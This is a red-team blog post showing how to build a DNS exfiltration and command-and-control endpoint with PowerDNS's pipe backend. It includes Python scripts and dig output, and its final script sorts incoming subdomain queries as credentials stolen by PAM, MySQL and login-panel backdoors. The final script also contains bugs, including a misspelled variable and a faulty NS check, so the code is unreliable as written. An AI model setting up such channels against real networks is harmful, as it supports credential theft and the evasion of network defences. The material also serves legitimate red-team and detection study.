Doomsday Vault

Logo

X-C3LL's Personal Blog :)

9 November 2018

Building simple DNS endpoints for exfiltration or C&C

         DNS as a cover-channel is a well-known technique used widely in pentests and Red Team operations to bypass network restrictions. For example, in my post Exfiltrating credentials via PAM backdoors & DNS requests an authoritative DNS server owned by us is used as endpoint to catch and store stolen credentials via a PAM backdoor, but… How can we deploy a simple endpoint to handle the incoming DNS requests?

         When I had to develop malware for some operation of the Red Team, I relied on DNSlib to manage the DNS component of C&C. But it can be tedious to program everything from scratch, so I found another way to implement these functions in a pain-less way. Indeed an endpoint for exfiltration like Arecibo can be developed in 10 minutes or less. Lets enjoy the magic of PowerDNS and its backend pipes!

0x01 Introduction

         PowerDNS is an open source DNS software with a cool functinality called “backend pipe” that allows us to work with DNS requests from an external program. Our program (in our example is going to be a python script) communicates with PowerDNS via STDIN/STDOUT: PowerDNS send to us the key information from a DNS request (STDIN), we process it and answer it via STDOUT. Simple as hell, you do not need to worry about parse nothing: everything is made automagically in background.

         Install powerdns and its backend support (in your distro it must be something similar to pdns & pdns-backend-pipe), create a .py file and give to it execution perms. Edit pdns.conf:

launch=pipe
pipe-command=/your/path/backend-dns.py

0x02 Handling the basic

         As we said before the communication between our script and PowerDNS is made via STDIN/STDOUT via tokenized messages. Every portion of the message is tokenized using ‘\t’ as separator. To see it better:

 from sys import stdin, stdout, stderr


 # Alive check
 stderr.write( stdin.readline() ) # Use STDERR to print debug info
 stderr.flush()
 stdout.write("Alive!\n")
 stdout.flush()
 while True:
     request = stdin.readline()
     stderr.write(request + "\n")
     stderr.flush()

         Now run a nslookup:

mothra@arcadia:/tmp|⇒  nslookup
> server 127.0.0.1
Default server: 127.0.0.1
Address: 127.0.0.1#53
> gamusinos.net
Server:         127.0.0.1
Address:        127.0.0.1#53

** server can't find gamusinos.net: SERVFAIL
>

         In our pdns_server instance we can see now the tokenized message (Q gamusinos.net IN SOA -1 127.0.0.1). PowerDNS did all the magic, we only need to check the kind of request (SOA in the example) and answer accordingly (just put DATA as your message type and finish it with “END”):

 #!/usr/bin/python

 from sys import stdin, stdout, stderr



 # Basic configuration
 domain = "gamusinos.net"
 ttl = "432000"
 ipaddress = "127.0.0.1"
 ids = "1"
 hostmaster="crazy-gamusino@narnia.net"
 soa = '%s %s %s' % ("ns1." + domain, hostmaster, ids)

 # Read STDIN and split tokens
 def readLine():
         data = stdin.readline()
         tokens = data.strip().split("\t")
         return tokens

 # Handle SOA request
 def handleSoa(qname):
         stdout.write("DATA\t" + qname + "\tIN\tSOA\t" + ttl + "\t" + ids + "\t" + soa + "\n")
         stdout.write("END\n")
         stdout.flush()

 # Alive check
 stderr.write( stdin.readline() ) # Use STDERR to print debug info
 stderr.flush()
 stdout.write("Alive!\n")
 stdout.flush()

 # Read incoming requests
 while True:
         indata = readLine() # Extract info from request
         if len(indata) < 6: # Weird thing, not the kind of message we want
                 continue
         qname = indata[1].lower() # Name queried (QNAME)
         qtype = indata[3] # Resource being requested (QTYPE)
         # Check if the request is for us
         if qname.endswith(domain):
                 # If this is ok, then we can answer the request based on the QTYPE
                 if qtype == "SOA":
                         stderr.write("[+] SOA request\n") # Just to debug :)
                         stderr.flush()
                         handleSoa(qname)

         Now your backend can answer SOA requests:

mothra@arcadia:/tmp|⇒  dig SOA @127.0.0.1 gamusinos.net

; <<>> DiG 9.10.3-P4-Debian <<>> SOA @127.0.0.1 gamusinos.net
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64957
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1680
;; QUESTION SECTION:
;gamusinos.net.                 IN      SOA

;; ANSWER SECTION:
gamusinos.net.          432000  IN      SOA     ns1.gamusinos.net. crazy-gamusino.narnia.net. 1 10800 3600 604800 3600

;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Sat Nov 10 22:53:10 CET 2018
;; MSG SIZE  rcvd: 104

         Amazing how easy and simple is to handle DNS requests! :)

0x03 Newton’s Third Law

         We need to code simple rules in our shiny DNS backend to trigger arbitrary actions. The imagination is the only barrier to perfom it: you can use subdomains to indicate a “command” (store a credential, run a program, whatever…), or maybe just encode the action in the few first bytes of a subdomain, etc. We are going (just as an example) use the first two bytes from a subdomain resolution to determine the actions. So, imagine that during a Red Team operation few backdoors are deployed in different servers and services (a PAM module to extract SSH credentials, an UDF + trigger in MySQL to retrieve credentials used in a login panel, etc.) and they exfiltrate the credentials to us via DNS resolutions. Something like this can do the job:

#!/usr/bin/python

 from sys import stdin, stdout, stderr

 # Basic configuration
 domain = "gamusinos.net"
 ttl = "432000"
 ipaddress = "127.0.0.1"
 ids = "1"
 hostmaster="crazy-gamusino@narnia.net"
 soa = '%s %s %s' % ("ns1." + domain, hostmaster, ids)

 # Read STDIN and split tokens
 def readLine():
         data = stdin.readline()
         tokens = data.strip().split("\t")
         return tokens

 # Handle basic requests
 def handleSoa(qname):
         stdout.write("DATA\t" + qname + "\tIN\tSOA\t" + ttl + "\t" + ids + "\t" + soa + "\n")
         stdout.write("END\n")
         stdout.flush()

 def handleNS(qname):
         stdout.write("DATA\t" + qname + "\tIN\tA\t" + ttl + "\t" + ids + "\t" + "\t" + ipaddress + "\n")
         stdout.write("END\n")
         stdout.flush()

 def handleA(qname, ip):
         stdout.write("DATA\t" + qname + "\tIN\tA\t" + ttl + "\t" + ids + "\t" + ip + "\n")
         stdout.write("DATA\t" + qname +  "\tIN\tNS\t" + ttl + "\t" + ids + "\t" + "ns1." + domain + "\n")
         stdout.write("DATA\t" + qname +  "\tIN\tNS\t" + ttl + "\t" + ids + "\t" + "ns2." + domain + "\n")
         stdout.write("END\n")
         stdout.flush()

 def saveCredential(qname):
         stderr.write("  [+] Storing new credential!\n")
         stderr.flush()
         if qname[0] == "a":
                 stderr.write("  - Credential from PAM backdoor\n")
                 stderr.flush()
                 # Do things to decrypt and save to a database
         elif qname[0] == "b":
                 stderr.write("  - Credential from MySQL backdoor\n")
                 stderr.flush()
         elif qname[0] == "c":
                 stderr.write("  - Credential from Login backdoor\n")
                 stderr.flush()
         else:
                 stderr.write("  - ERROR\n")
                 stderr.flush()
         # Answer the request
         handleA(qname, ipaddress)

# Alive check
 stderr.write( stdin.readline() ) # Use STDERR to print debug info
 stderr.flush()
 stdout.write("Alive!\n")
 stdout.flush()

 # Read incoming requests
 while True:
         indata = readLine() # Extract info from request
         if len(indata) < 6: # Weird thing, not the kind of message we want
                 continue
         qname = indata[1].lower() # Name queried (QNAME)
         qtype = indata[3] # Resource being requested (QTYPE)
         # Check if the request is for us
         if qname.endswith(domain):
                 # If this is ok, then we can answer the request based on the QTYPE
                 if qtype == "SOA":
                         stderr.write("[+] SOA request\n") # Just to debug :)
                         stderr.flush()
                         handleSoa(qname)
                 if (qtype == "A" or qtype == "ANY"):
                         stderr.write("[+] A or ANY request\n") # Just do debug :)
                         stderr.flush()
                         if qname == domain: # No subdomains
                                 handleA(domain, ipadress)
                         elif (qname == "ns1." + domain or qname == "ns2." + qname): # Asking for NS servers
                                 handleNS(qname)
                         elif (qname.endswith("cdn." + domain)): # xxxx.cdn.gamusino.net
                                 saveCredential(qname)

         Now emulate a request from a MySQL backdoor (dig A bmandanga.cdn.gamusinos.net) and enjoy:

[+] SOA request
[+] A or ANY request
        [+] Storing new credential!
        - Credential from MySQL backdoor

0x04 Final Words

         Discovering PowerDNS and backend pipes made my life a lot more easy. Just in few minutes you have a powerfull endpoint ready to work. If you find this article interesting, or spot any error or typo, feel free to contact me at twitter @TheXC3LL.